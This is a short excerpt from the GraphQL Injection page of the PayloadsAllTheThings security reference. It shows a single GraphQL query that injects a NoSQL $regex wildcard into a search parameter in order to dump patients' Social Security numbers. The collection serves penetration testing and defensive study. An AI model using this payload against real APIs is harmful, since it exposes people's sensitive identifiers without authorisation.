Use `$regex` inside a `search` parameter.
{
doctors(
options: "{\"limit\": 1, \"patients.ssn\" :1}",
search: "{ \"patients.ssn\": { \"$regex\": \".*\"}, \"lastName\":\"Admin\" }")
{
firstName lastName id patients{ssn}
}
}Source: GraphQL Injection/README.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.